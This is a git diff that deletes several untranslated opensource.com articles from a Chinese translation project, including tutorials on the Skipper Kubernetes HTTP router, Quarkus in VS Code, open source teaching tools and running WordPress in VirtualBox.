Value propositions - * Audience and target markets - * Business model canvassing - * Pitch decks - * Pitch practice - - - -### April 15: CodeTheCurve deadline - -Did I mention that the initial application deadline is April 15? Here's the full timeline: - - * Video submission deadline: **April 15** - * 40 selected teams announced: **April 20** - * Learning resources for pre-collaboration: **April 20-21** - * Instructor-led learning: **April 22-23** - * Hacking: **April 24-26** - * CodeTheCurve winners announced: **April 30** - - - -#### Prizes. Prizes. Prizes. - -Prizes include free access to [IBM LinuxONE Community Cloud][5] for one year, free training courses from SAP, four pitch opportunities at IBM and SAP events, free access to enterprise-grade IBM Z and its machine learning suite for six months, and one-on-one technical and business mentorship for a full year with industry experts. - -### How to apply - -Interested in applying? Know someone who should apply? Simply [submit a video][6] of your **amazing** open source idea, the problem you're trying to solve, and who you expect to reach. - -If you'd like to learn more, here are some other articles about CodeTheCurve: - - * [UN News CodeTheCurve article][7] - * [UNESCO CodeTheCurve blog][8] - * [Forbes CodeTheCurve article][9] - * [IBM CodeTheCurve blog][10] - - - -I cannot wait to see all the amazing open source ideas the world brings our way! - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/4/covid19-hackathon - -作者:[Melissa Sasi][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/mesassi -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/lenovo-thinkpad-laptop-window-focus.png?itok=g0xPm2kD (young woman working on a laptop) -[2]: https://en.unesco.org/covid19/educationresponse -[3]: https://www.codethecurve.org/ -[4]: https://mentornations.org/ -[5]: https://developer.ibm.com/linuxone/ -[6]: http://ibm.biz/codethecurve-apply -[7]: https://news.un.org/en/story/2020/04/1061142 -[8]: http://ibm.biz/unesco-pr -[9]: https://www.forbes.com/sites/danielnewman/2020/04/10/digital-transformation-for-good-shines-as-we-fight-covid-19/#78d51a4c4946 -[10]: http://ibm.biz/codethecurve diff --git a/sources/tech/20200414 Try this Kubernetes HTTP router and reverse proxy.md b/sources/tech/20200414 Try this Kubernetes HTTP router and reverse proxy.md deleted file mode 100644 index fc78ee9bce..0000000000 --- a/sources/tech/20200414 Try this Kubernetes HTTP router and reverse proxy.md +++ /dev/null @@ -1,196 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Try this Kubernetes HTTP router and reverse proxy) -[#]: via: (https://opensource.com/article/20/4/http-kubernetes-skipper) -[#]: author: (Sandor Szücs https://opensource.com/users/sszuecs) - -Try this Kubernetes HTTP router and reverse proxy -====== -Skipper is designed to handle large numbers of HTTP route definitions, -beyond what you would want to manage in Nginx or Apache. -![Traffic circle with arrows pointing which way to go][1] - -Skipper is an open source HTTP router and reverse proxy for service composition. As its [GitHub page][2] states, it's designed to handle large amounts of dynamically configured HTTP route definitions (>600,000 routes) with detailed lookup conditions and flexible augmentation of the request flow with filters. It can be used out of the box or extended with custom lookup, filter logic, and configuration sources. - -### Proxies - -When some people think of a proxy, they imagine a webpage that serves as a gateway to an intranet or a suspicious-looking webpage designed to unblock social media sites on a school or work network. A forward proxy is one that operators of desktop infrastructure use to save internet bandwidth, enforce parental controls, or limit social media access. Another kind of proxy is one in which an individual user navigates to a page, provides credentials, and is then forwarded to a protected intranet resource. The inverse of that kind of proxy is the reverse proxy, which accepts all traffic and forwards it to a specific resource, like a server or container. That's the kind of work Skipper does for infrastructure. - -When I read [Matt Klein's post][3] on modern network load balancing and proxying, I realized that we, as [Skipper][4] maintainers, should explain more features and details about why and how you can leverage HTTP proxies. In this article, I will treat the terminology "HTTP (reverse) proxy" and "HTTP router" as the same. - -### HTTP routing - -According to [Wikipedia][5]: "Routing is the process of selecting a path for traffic in a network." This definition refers to routing at [OSI layer 3][6], most commonly based on [IP][7] with routing protocols like [BGP][8] or [OSPF][9]. Since this article isn't about one of those, I will try to explain what HTTP routers are about. But first, I want to introduce Skipper, an [OSI layer 7][10] HTTP router library written in [Go][11] and a core component of retailer [Zalando][12]'s e-commerce shop and the [Kubernetes][13] Ingress infrastructure. - -At Zalando, we use Skipper as a [Kubernetes Ingress][14] controller to support our users with visibility, reliability, security, and additional features to offload common applications. - -Any organization running HTTP services, often in a microservice architecture, needs to route HTTP requests to the right applications. HTTP routers route based on information provided by the HTTP request. For example, the following shows an HTTP/1.1 request. - - -``` -GET /details HTTP/1.1 -Host: [www.zalando.de][15] -User-Agent: curl/7.49.0 -Accept: */* -Authorization: Bearer <token> -... -``` - -We can route based on the method **GET**, the path **/details**, the **Host** header [**www.zalando.de**][16], or any arbitrary part of the request. - -One common problem an application owner faces is splitting an API into multiple applications, so you need to split the responsibility of a component into subcomponents. Another common task is to support refactoring; maybe you have rewritten one part of your app, and you want to deploy it separately now. - -For example, imagine you you have a store that has a list of products and their details, and you need to split it into _shop_ and _product_ backend applications. At **/**, your shop shows the list of products, and at **/details**, it shows product details, such as color, size, sustainability, and price. - -![Figure 1: shop][17] - -You need to split the responsibility of the product detail into its own application, such that **/** stays in the _shop_ application and **/details** is refactored to the _product_ application. - -![Figure 2: product and shop][18] - -To make sure an HTTP proxy finds the right backend for an incoming request, it uses a routing table to check the destination to make sure it's correct. - -### Routing tables - -In Skipper, the routing table is created by pulling information generated by [dataclients][19] from different sources. One source can be a [routes file][20], similar to what you may see in more popular HTTP servers, like Apache or Nginx. - -Depending on the size of your organization—or better, the number of backend applications—the routing table can grow quite large. Skipper implements the routing table as a tree that can scale beyond 600,000 routes (far more than you'd want to manage in an Nginx or Apache config). - -Following along with the example application above, Table 1 shows the routing table from [Figure 2][21]. The store **/** should be routed to **shop,** and the **/detail** routed to the **product** application. - -path | app ----|--- -/ | shop -/detail | product - -Table 1: Routing table - -The available dataclients in Skipper fetch routes from different sources and what a route consists of. - -### Dataclient - -The routing configuration in Skipper's routes file [dataclient][22] is similar to what you might know from HTTP proxies in Nginx or Apache. In Skipper, a routes file specifies all routes in [eskip][23] syntax, as shown in Figure 3. - - -``` -r1: P1() && P2() && .. && PN() -    -> f1() -    -> f2() -    ... -    -> fN() -    -> <backend>; -r2: ... -... -``` - -Figure 3: Routes file in eskip - -In the above: - - * **r1, r2, ...** are unique routeIDs. - * **P1, P2,..,PN** are predicates that define the matching. - * **f1, f2,..,fN** are filters that are applied after the route was selected. Filters can change the request and response. - * Finally, the Skipper backend is defined. This can be a single URL, a list of load-balanced URLs, and others for special cases such as [direct response][24]. - - - -The [routes string][25] is another dataclient that is handy for tests. For example, if you need a pseudo backend for your demo that replies a green background with HTML, you could use: - - -``` -$ skipper -routes-string='* --> inlineContent( -      "<html><body style=\"background-color: green;\"></body></html>" -   )' -``` - -Skipper's most popular dataclient, by far, is the Kubernetes dataclient, which is used to fetch information from a [Kubernetes API server][26] and create a routing table from [Skipper Ingress][27] resources and the [RouteGroup][28] custom resource definition (CRD). - -To summarize the above, dataclients fetch information from different providers to build Skipper's routing table. Table 1 shows a routing table for the shop/description example, and Skipper uses predicates to select the route to process the request. - -### Predicates - -In Skipper, an incoming request is matched to [predicates][29] of all the routes to find the best matching route for an incoming request. Predicates are functions that match based on the incoming request. In the example from Figure 2 and Table 1, Skipper would have a routing table similar to Figure 4: - - -``` -shop: Path("/") -    -> ""; -product: Path("/detail") -    -> ""; -``` - -Figure 4: Skipper routing table - -This means HTTP requests with a path **/** would be matched by the **Path("/")** predicate, such that Skipper will execute the shop route. Requests with a path **/detail** would be matched by **Path("/detail")** and routed to the product application. - -In general, routing behavior can be changed by predicates. There are a lot of predicates you can choose from. For example, **Method("POST")** will be true only if a POST request would be passed. A route with more predicates is considered more specific. Also, a route with more predicates has more weight in the route selection than one that has less. - -Special cases are **Path()** and **PathSubtree()**, which is matched first in a tree and reduces the number of routes, which are scanned as a list. For example, the tree structure shown in Figure 5 helps to scale the number of routes to more than 600,000 in one of Zalando's production setups. - -![Skipper tree example][30] - -### Filters - -After a route is selected, the request [filters][31] are applied. Filters work on request or response; they can change the incoming request to the backend, and they can change the response to the client. - -For example, **setRequestHeader("Foo", "bar")** sets the HTTP header **"Foo"** to the value **"bar"**, such that the backend sees this header in the request. - -The response filter **responseCookie("keks", "val", 3600)** sets a Cookie named **"keks"** in the response to the caller, which might be a browser in this case. The cookie would have the value **"val"** and is valid for one hour. - -One filter that works on request and response is **enableAccessLog(40, 5)**. This would do access logs for all responses from the backend with status codes 40x or 5xx. - -As you can see from the examples, filters can change the request or the response or just do some work based on it. Another filter example is **auth filters** or **ratelimits**. These would stop requests from passing to the backend if the request should not be allowed to pass. For example, to serve static content from a directory called **/var/www**, you can use the filter **static("/var/www")**. - -### Learn more - -This article provided a basic overview of Skipper and its capabilities. For more information, consult [Skipper's documentation][32], and please share your questions or feedback in the comments. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/4/http-kubernetes-skipper - -作者:[Sandor Szücs][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/sszuecs -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/LAW-patent_reform_520x292_10136657_1012_dc.png?itok=Cd2PmDWf (Traffic circle with arrows pointing which way to go) -[2]: https://github.com/zalando/skipper -[3]: https://blog.envoyproxy.io/introduction-to-modern-network-load-balancing-and-proxying-a57f6ff80236 -[4]: https://opensource.zalando.com/skipper -[5]: https://en.wikipedia.org/wiki/Routing -[6]: https://en.wikipedia.org/wiki/OSI_model#Layer_3:_Network_Layer -[7]: https://en.wikipedia.org/wiki/Internet_Protocol -[8]: https://en.wikipedia.org/wiki/Border_Gateway_Protocol -[9]: https://en.wikipedia.org/wiki/Open_Shortest_Path_First -[10]: https://en.wikipedia.org/wiki/OSI_model#Layer_7:_Application_Layer -[11]: https://golang.org/ -[12]: https://en.zalando.de/ -[13]: https://kubernetes.io -[14]: https://kubernetes.io/docs/concepts/services-networking/ingress/ -[15]: http://www.zalando.de -[16]: https://en.zalando.de/?_rfl=de -[17]: https://opensource.com/sites/default/files/uploads/skipper_1_shop.png (Figure 1: shop) -[18]: https://opensource.com/sites/default/files/uploads/skipper_2_product-shop.png (Figure 2: product and shop) -[19]: https://opensource.zalando.com/skipper/reference/backends/ -[20]: https://opensource.zalando.com/skipper/data-clients/eskip-file/ -[21]: tmp.ftM58r5YpM#fig2 -[22]: https://opensource.zalando.com/skipper/tutorials/development/#dataclients -[23]: https://godoc.org/github.com/zalando/skipper/eskip -[24]: https://opensource.zalando.com/skipper/reference/backends/#shunt-backend -[25]: https://opensource.zalando.com/skipper/data-clients/route-string/ -[26]: https://kubernetes.io/docs/concepts/overview/components/#kube-apiserver -[27]: https://opensource.zalando.com/skipper/kubernetes/ingress-usage/ -[28]: https://opensource.zalando.com/skipper/kubernetes/routegroups/ -[29]: https://opensource.zalando.com/skipper/reference/predicates/ -[30]: https://opensource.com/sites/default/files/uploads/skipper_5_tree.png (Skipper tree example) -[31]: https://opensource.zalando.com/skipper/reference/filters/ -[32]: https://opensource.zalando.com/skipper/ diff --git a/sources/tech/20200415 6 open source teaching tools for virtual classrooms.md b/sources/tech/20200415 6 open source teaching tools for virtual classrooms.md deleted file mode 100644 index 807ebfae3d..0000000000 --- a/sources/tech/20200415 6 open source teaching tools for virtual classrooms.md +++ /dev/null @@ -1,96 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (6 open source teaching tools for virtual classrooms) -[#]: via: (https://opensource.com/article/20/4/open-source-remote-teaching-tools) -[#]: author: (Mathias Hoffmann https://opensource.com/users/mhopensource) - -6 open source teaching tools for virtual classrooms -====== -Create podcasts, online lectures, tutorials, and other teaching -resources for learning at home with open source tools. -![Person reading a book and digital copy][1] - -As schools and universities are shutting down around the globe due to COVID-19, many of us in academia are wondering how we can get up to speed and establish a stable workflow to get our podcasts, online lectures, and tutorials out there for our students. - -Open source software (OSS) has a key role to play in this situation for many reasons, including: - - * **Speed:** OSS can roll out quickly and in large numbers (e.g., to an army of teaching assistants for multiple tutorial sessions in big lectures) without licensing issues and in a decentralized manner. - * **Cost:** OSS does not cost anything upfront, which is important for financially stretched schools and universities that need solutions to complex challenges on very short notice. - - - -With everything going online, we need new ways to engage with students. Here is a list of tools that I have found useful to share my own lectures.  - -### Create podcasts, videos, or live streams with OBS - -[Open Broadcast Studio (OBS)][2] is a professional, open source audio and video recording tool that allows you to record, stream instantly, and do much more. OBS is available for all major platforms (Windows, macOS, and Linux), so interoperability with your colleagues and their various devices is ensured. - -Even if you're already using online conferencing software as a recording system, OBS can be a great backup solution. Since it records locally, you're protected against any network lags or disconnections. You also have complete control over your data, so many educational institutions may find it to be a more secure solution than some other options. - -Compatibility is also an advantage: OBS stores recordings in a standard intermediate format (MKV), which can be transferred to MP4 or other formats. Also, support for Nvidia graphics cards under OBS is great, as the company is one of the main sponsors of the OBS project. This allows you to make full use of your hardware and speed up the recording process. - -### Video and sound editing - -After you record your podcast or video, you may find that it needs editing. There are many reasons you may need to edit your audio or video. For example, many university online platforms restrict the size of files you can upload, so you may have to cut long videos. Or, the sound may be too quiet, or maybe it was too noisy when you recorded it, so you need to make adjustments to the audio. - -Two of the open source apps to explore are [OpenShot][3] and [Shotcut][4]. Of the two, Shotcut is a more advanced program, which implies a slightly steeper learning curve. Both are cross-platform and have full support for hardware encoding with NVidia and other graphics cards, which will substantially lower processing time compared to CPU-only processing. - -You can also extract a soundtrack in either program (although I have found it to be much faster with Shotcut) and export it to an audio-editing program. I find [Audacity][5], another open source, cross-platform (Mac, Linux, Windows) tool, to work extremely well. - -My typical workflow looks something like this: - - * Import the recording into Shotcut - * Extract the audio, save it to an audio file - * Import it into Audacity, normalize and amplify the audio, maybe do some noise reduction - * Save the audio to a new file - * Import the new audio file into Shotcut, align it with the audio-free video, and cut appropriately - * Export into an MP4 video (this last step usually takes some time, so have a coffee…) - - - -### Electronic blackboards - -If you want to annotate your slides or develop ideas on an electronic blackboard, you need note-taking software and a device with a touchscreen or a graphics tablet. A great open source tool (developed with Swiss taxpayer funding) for blackboarding is [OpenBoard][6]. It is cross-platform; although it is officially only available for Linux on Ubuntu 16.04, you can install a [Flatpak][7] and it will work on any Linux flavor. It is really a nice tool; its only shortcoming is that annotating slides is not very good. - -My main open source annotation and electric blackboard tool is [Xournal++][8], which is available in some Linux distros repos (e.g., Linux Mint) and otherwise via [Flathub][9]. Like all the tools mentioned earlier, it is also available on Mac and Windows. If you know of any open source, cross-platform note-taking tools, please share them in the comments. - -### Built-in solutions have their limits - -You might wonder why you should bother with alternative recording software in the first place. After all, most modern operating systems have built-in screen recorders that will also capture audio. However, these built-in solutions have their limits. One key limitation is that you cannot usually capture more than one video source at a time (e.g., a webcam with your talking head and a set of slides plus a whiteboard from a graphics tablet). - -The ability to use multiple video sources is very useful, though, since it can be dull for students to just listen to your voice and see your slides for extended periods. Face-to-face interactions—even if done virtually—help keep listeners' attention and make it easier for them to cope with imperfect recording quality and background noise. In addition, many of the built-in tools do not allow you to capture selected areas of the screen, and in general, you cannot change the resolution or the number of frames per second, which can be important for keeping your podcast's memory and bandwidth usage in check. - -### Conclusion - -When planning your online teaching, you will want to use a blend of audio, video, slides, and electronic blackboards to create an immersive experience even while students are learning remotely. Open source software offers advanced, effective tools for creating such online educational experiences. - -* * * - -_This article is based on "[Open source software for online teaching in the times of corona][10]" on Mathias Hoffman's blog and is reused with permission._ - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/4/open-source-remote-teaching-tools - -作者:[Mathias Hoffmann][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/mhopensource -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/read_book_guide_tutorial_teacher_student_apaper.png?itok=_GOufk6N (Person reading a book and digital copy) -[2]: https://obsproject.com/ -[3]: http://www.openshot.org/ -[4]: http://www.shotcut.org/ -[5]: https://www.audacityteam.org/ -[6]: http://www.openboard.ch/ -[7]: http://www.flathub.org -[8]: https://github.com/xournalpp/xournalpp -[9]: https://flathub.org/apps/details/com.github.xournalpp.xournalpp -[10]: http://mathiashoffmann.net/2020/03/22/open-source-software-for-online-teaching-in-the-times-of-corona diff --git a/sources/tech/20200415 Writing Java with Quarkus in VS Code.md b/sources/tech/20200415 Writing Java with Quarkus in VS Code.md deleted file mode 100644 index 2d61db71de..0000000000 --- a/sources/tech/20200415 Writing Java with Quarkus in VS Code.md +++ /dev/null @@ -1,239 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Writing Java with Quarkus in VS Code) -[#]: via: (https://opensource.com/article/20/4/java-quarkus-vs-code) -[#]: author: (Daniel Oh https://opensource.com/users/daniel-oh) - -Writing Java with Quarkus in VS Code -====== -In this tutorial, I'll walk you through how to rebuild, package, and -deploy cloud-native applications automatically with Quarkus. -![Person drinking a hat drink at the computer][1] - -In the previous articles in this series about cloud-native [Java][2] applications, I shared [_6 requirements of cloud-native software_][3] and [_4 things cloud-native Java must provide_][4]. But now you might want to implement these advanced Java applications in your local machine without climbing a steep learning curve. In this article, I will walk through using the open source technologies [Quarkus][5] and [Visual Studio Code][6] (VS Code) to accelerate the development of both traditional cloud-native Java stacks and also serverless, reactive applications with easier and more familiar methods. - -Quarkus is a Kubernetes-native Java stack tailored for GraalVM and OpenJDK HotSpot. It's crafted from best-of-breed Java libraries and standards with live coding, unified configuration, superfast startup, small memory footprint, and unified imperative and reactive development. VS Code is an open source integrated development environment (IDE) for editing code. - -### Generate a Quarkus project - -Begin by navigating to Quarkus' [Start coding][7] page to generate a Quarkus project that includes a RESTful endpoint. Leave all variables (i.e., Group, Artifact, Build Tool, Extensions) on the default settings, then click **Generate your application** at the top-right of the page. Note that the RESTEasy JAX-RS extension is preselected as default. - -![Quarkus Generate application button][8] - -The ZIP file will automatically download on your local machine. Extract the file with the following command: - - -``` -$ unzip code-with-quarkus.zip -Archive: code-with-quarkus.zip -    creating: code-with-quarkus/ -   inflating: code-with-quarkus/pom.xml -   ... -``` - -### Install VS Code - -Download and install VS Code in your preferred way, whether that's [from the website][9] or through your package manager (dnf, apt, brew, etc). Once that's done, open the unzipped Quarkus project using VS Code's command-line tool: - - -``` -$ cd code-with-quarkus/ -$ code . -``` - -You will see the [Apache Maven][10] project structure with: - - * **ExampleResource** exposed on **/hello** - * Associated JUnit test - * Accessible landing page via - * Dockerfiles for both [native compilation][11] and JVM HotSpot - * A unified application configuration file - - - -Add Quarkus tools to your IDE through the VS Code's extension feature. - -![Add Quarkus tools to VS Code IDE][12] - -### Start coding - -Run the application using Quarkus development mode. To run the application, you need: - - * JDK 1.8+ installed with JAVA_HOME configured appropriately - * Apache Maven 3.6.3+ - - - -Move to the **code-with-quarkus** directory then type **mvn compile quarkus:dev** in VS Code's terminal. - -![Run application][13] - -You will see that the Java application is running well with: - - * About one second to startup - * Live coding activated - * EnabledCDI and RESTEASY features - - - -When you access the endpoint via a web browser, you will see the return code, **hello**. - -!["Hello" return][14] - -Now, you're ready to change the code! Move back to VS Code, then open the **ExampleResource.java** file in **src/main/java/org/acme**. Replace the return code with "**Welcome, Cloud-Native Java with Quarkus!"** Don't forget to **Save** the file. - -![Editing the return][15] - -Go back to the web browser and reload the page. - -![New return][16] - -_It's like magic!_ Behind the scenes, Quarkus rebuilt, packaged, and deployed the application for you automatically, and it only took half a second. This is one of the essential cloud-native Java runtime features for increasing development productivity. - -![Quarkus output][17] - -Continue running your cloud-native Java application in Quarkus. - -### Integrate data transactions via Quakrus Tool - -To add an in-memory database (H2) transaction capability, press **F1** then click on **Quarkus: Add extensions to the current project**. - -![Adding extensions in Quarkus][18] - -Enter **h2** in the search bar, then double-click on **JDBC Driver - H2 Data** in the result. - -![JDBC Driver - H2 Data extension][19] - -Select the following three extensions, which will simplify your persistence code and return JSON format data: - - * Hibernate ORM with Panache Data - * JDBC Driver - H2 - * RESTEasy JSON-B Web - - - -Press **Enter** to add those dependencies. - -![Add Quarkus extensions][20] - -You should see the following in a new VS Code terminal: - -![VS Code adding extensions][21] - -You should also find the following pulled dependencies in **POM.xml**: - -![dependencies in POM.xml][22] - -### Create an Inventory entity - -With your project in place, you can get to work defining the business logic. - -The first step is to define the model (entity) of an Inventory object. Since Quarkus uses Hibernate ORM Panache, create an **Inventory.java** file in the **src.main.java.org.acme** directory, and paste the following code into it: - - -``` -package org.acme; - -import javax.persistence.Cacheable; -import javax.persistence.Entity; - -import io.quarkus.hibernate.orm.panache.PanacheEntity; - -@[Entity][23] -@Cacheable -public class Inventory extends PanacheEntity { -    -    public [String][24] itemId; -    public [String][24] location; -    public int quantity; -    public [String][24] link - -    public Inventory() { - -    } -    -} -``` - -#### Define the RESTful endpoint of Inventory - -Next, mirror the abstraction of service so that you can inject the Inventory service into various places (like a RESTful resource endpoint) in the future. Create an **InventoryResource.java** file in the **src.main.java.org.acme** directory and add this code to it: - - -``` -package org.acme; - -import java.util.List; -import javax.enterprise.context.ApplicationScoped; -import javax.ws.rs.Consumes; -import javax.ws.rs.GET; -import javax.ws.rs.Path; -import javax.ws.rs.Produces; - -@Path("/services/inventory") -@ApplicationScoped -@Produces("application/json") -@Consumes("application/json") -public class InventoryResource { - -    @GET -    -    public List<Inventory> getAll() { -        return Inventory.listAll(); -    } -} -``` - -Don't forget to save these files. Go back to your web browser and access a new endpoint, . You will see: - -![Inventory endpoint][25] - -### Wrapping up - -If you have an issue or get an error when you implement this, you can find and reuse the [code in my GitHub repository][26]. - -If you want to learn more, Quarkus has some [practical and useful guides][27] that show how to develop advanced cloud-native Java applications using Quarkus extensions with event-driven programming, serverless development, and Kubernetes deployment. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/4/java-quarkus-vs-code - -作者:[Daniel Oh][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/daniel-oh -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/coffee_tea_laptop_computer_work_desk.png?itok=D5yMx_Dr (Person drinking a hat drink at the computer) -[2]: https://opensource.com/resources/java -[3]: https://opensource.com/article/20/1/cloud-native-software -[4]: https://opensource.com/article/20/1/cloud-native-java -[5]: https://quarkus.io/ -[6]: https://code.visualstudio.com/ -[7]: https://code.quarkus.io/ -[8]: https://opensource.com/sites/default/files/uploads/quarkus_generateapplication.png (Quarkus Generate application button) -[9]: https://code.visualstudio.com/download -[10]: https://maven.apache.org/ -[11]: https://quarkus.io/guides/building-native-image -[12]: https://opensource.com/sites/default/files/uploads/add-quarkus-to-ide.png (Add Quarkus tools to VS Code IDE) -[13]: https://opensource.com/sites/default/files/uploads/run-application.png (Run application) -[14]: https://opensource.com/sites/default/files/uploads/endpoint-hello.png ("Hello" return) -[15]: https://opensource.com/sites/default/files/uploads/edit-return-code.png (Editing the return) -[16]: https://opensource.com/sites/default/files/uploads/new-return-code.png (New return) -[17]: https://opensource.com/sites/default/files/uploads/quarkus-magic.png (Quarkus output) -[18]: https://opensource.com/sites/default/files/uploads/quarkus-add-extensions.png (Adding extensions in Quarkus) -[19]: https://opensource.com/sites/default/files/uploads/jbdc-driver-h2-data.png (JDBC Driver - H2 Data extension) -[20]: https://opensource.com/sites/default/files/uploads/add-extensions.png (Add Quarkus extensions) -[21]: https://opensource.com/sites/default/files/uploads/vscode-adding-extensions.png (VS Code adding extensions) -[22]: https://opensource.com/sites/default/files/uploads/dependencies-pomxml.png (dependencies in POM.xml) -[23]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+entity -[24]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+string -[25]: https://opensource.com/sites/default/files/uploads/inventory-endpoint.png (Inventory endpoint) -[26]: https://github.com/danieloh30/code-with-quarkus -[27]: https://quarkus.io/guides/ diff --git a/sources/tech/20200417 How to set up and run WordPress for your classroom.md b/sources/tech/20200417 How to set up and run WordPress for your classroom.md deleted file mode 100644 index bb8b87d560..0000000000 --- a/sources/tech/20200417 How to set up and run WordPress for your classroom.md +++ /dev/null @@ -1,164 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How to set up and run WordPress for your classroom) -[#]: via: (https://opensource.com/article/20/4/wordpress-virtual-machine) -[#]: author: (Don Watkins https://opensource.com/users/don-watkins) - -How to set up and run WordPress for your classroom -====== -Follow these simple steps to customize WordPress for use in the -classroom using free open source software. -![Painting art on a computer screen][1] - -There are many good reasons to set up WordPress for your classroom. As more schools switch to online classes, WordPress can become the go-to content management system. Teachers using WordPress can provide a number of different educational choices to differentiate instruction for their students. Blogging is an accessible way to create content that energizes student learning. Teachers can write short stories, poems, and provide picture galleries that function as story starters. Students can comment and those comments can be moderated by their teacher. - -There are free options like [WordPress.com][2] and [Edublogs][3]. However, these free versions are limited, and you may want to explore all your options. You can install [Virtualbox][4] on any Windows, macOS, or Linux computer. You can use your own computer or an extra you happen to have access to in a virtual environment. - -On Linux, you can install Virtualbox from your package manager. For instance, on Debian, Elementary OS, or Ubuntu: - - -``` -`$ sudo apt install virtualbox` -``` - -On Fedora: - - -``` -`$ sudo dnf install virtualbox` -``` - -### Download a Wordpress image - -Wordpress is easy to install, but server configuration and management can be difficult for the uninitiated. That's why there's [Turnkey Linux][5], a project dedicated to creating virtual machine images and containers of popular server software, preconfigured and ready to run. With Turnkey Linux, you just download a disk image containing the operating system and the software you want to run, and then import that image into Virtualbox. - -To get started with Wordpress, download the **VM** virtual machine image from [turnkeylinux.org/wordpress][6] (in the **Builds** section). Make sure you download the image labeled **VM**, because that's the only format meant for Virtualbox. - -### Import the image into Virtualbox - -After installing Virtualbox, launch the application and import the virtual machine image into Virtualbox. - -![][7] - -Networking on the imported image is set to NAT by default. You will want to change the network settings to "bridged." - -![Virtualbox menu][8] - -After restarting the virtual machine, you are prompted to add passwords for MySQL, Adminer, and the WordPress **admin** user. - -Then you see the network configuration console for the installation. Launch a web browser and navigate to the **web** address provided (in this example, it's 192.168.86.149). - -![Console][9] - -In a web browser, you see a login screen for your Wordpress installation. Click on the **Login** link. - -![Wordpress welcome][10] - -Enter **admin** as the username, followed by the password you created earlier. Click the **Login** link. On this first login as **admin**, you can choose a new password. Be sure to remember it! - -![Login screen][11] - -After logging in, you're presented with the WordPress Dashboard. The software will likely notify you, in the upper left corner of the window, that a new version of Wordpress exists. Update to the latest versions as prompted so your site is secure. - -It's important to note that your Wordpress blog isn't visible by anyone on the Internet yet. It only exists in your local network: only people in your building who are connected to the same router or wifi access point as you can see your Wordpress site right now. The worldwide Internet can't get to it because you're behind a firewall (embedded in your router, and possible also in your computer). - -![Wordpress dashboard][12] - -Following the upgrade, the application restarts, and you're ready to begin configuring WordPress to your liking. - -![Wordpress configuration][13] - -On the far left, there is a button to **Customize Your Site**. - -There, you can choose the name of your site. You can accept the default theme, which is "Twenty Nineteen," or choose another. My favorite is "Twenty Ten," but browse through the themes available to find your personal favorite. WordPress comes with five free themes installed. You can download other free themes from the [WordPress][14][.org][15] site or choose to purchase a premium theme. - -When you click the **Customize Your Site** button, you're presented with new menu options. Select **Site Identity** and change the name of your site. You might use the name of your school or classroom. There's also room to choose a byline (the credit given to the author of a blog post). You can choose the colors for your site and where you will place menus and widgets. WordPress widgets and content and features to the sidebars for your site. Homepage settings are important, as they allow you to choose between a static page that might have a description of your school or classroom or having your blog entries displayed prominently. You can add additional CSS. - -![Turnkey theme][16] - -You can edit your front page, add additional pages like "About," or add a blog post. You can also manage widgets, manage menus, turn comments on or off, or add a link to learn more about WordPress. - -Customizing your site allows you to configure a number of options quickly and easily. - -WordPress has dozens of widgets that you can place in different areas of your page. Widgets are independent sections of content that can be placed into specific areas provided by your theme. These areas are called sidebars. - -### Adding content - -After you have WordPress configured to your liking, you probably want to get busy creating content. The best way to do that is to head back to the WordPress Dashboard. - -On the left side, near the top of the page, you see **Posts**. Select that link and a dropdown appears. Choose **Add New** to create your very first blog post. - -![Add post dropdown][17] - -Fill in your title in the top block and then move down to the body. It's like using a word processor. WordPress has all the tools you need to write. You can set the font size from _small_ to _huge_. You can start a paragraph with dropped capitals. The text and background color can be changed. Your posts can include quote blocks and embedded content. A wide variety of embedded content is supported so you can make your posts a dynamic multimedia experience. - -![Wordpress classroom blog][18] - -### Going online - -So far, your Wordpress blog only exists on your local network. Anyone using the same router as you (your housemates or classroom) can see your Wordpress site by navigating to 192.168.86.149, but once you're away from that router, the site becomes inaccessible. - -If you want to go online with your custom Wordpress site, you have to allow traffic through your router, and then direct that traffic to the computer running Virtualbox. If you've installed Virtualbox on a laptop, then your website would disappear any time you closed your laptop, which is why servers that never get shutdown exist. But if this is just a fun lesson on how to run a Wordpress site, then having a website that's only available during class hours is fine. - -If you have access to your router, then you can log into it and make the adjustments yourself. 